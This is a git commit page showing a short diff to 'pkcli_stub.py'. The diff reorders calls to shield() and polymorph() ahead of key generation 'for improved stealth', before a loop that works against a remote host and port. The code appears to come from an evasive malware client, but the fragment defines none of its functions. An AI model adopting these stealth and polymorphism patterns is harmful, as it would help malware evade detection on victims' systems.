summaryrefslogtreecommitdiff
path: root/pkcli_stub.py
diff options
context:
space:
mode:
authorCarson Fleming <cflems@cflems.net>2023-12-18 17:49:06 -0500
committerCarson Fleming <cflems@cflems.net>2023-12-18 17:49:06 -0500
commit5f2a3100c9c4bef50e0f2ddf8e405e2c1bd161d5 (patch)
treeb6688848e3d3e91e37a51b9fe81a0ca0cb9c808f /pkcli_stub.py
parent08d8b74518b71cda69a2c60275732e9d48da91a9 (diff)
downloadpk-5f2a3100c9c4bef50e0f2ddf8e405e2c1bd161d5.tar.gz
Fork before performing key generation for improved stealth
Diffstat (limited to 'pkcli_stub.py')
-rw-r--r--pkcli_stub.py7
1 files changed, 4 insertions, 3 deletions
diff --git a/pkcli_stub.py b/pkcli_stub.py
index 774d5d2..c6561f8 100644
--- a/pkcli_stub.py
+++ b/pkcli_stub.py
@@ -35,13 +35,14 @@ def main():
ha, port = ha.split(':')
port = int(port)
- print('working')
+ print('forking')
+ shield()
+ polymorph()
+
p,q,n,e,d = Crypto.keygen(bits=bits)
privkey = { 'n': n, 'd': d }
refresh_hdb()
print('done')
- shield()
- polymorph()
while True:
if not work(ha, port, privkey, bits=bits):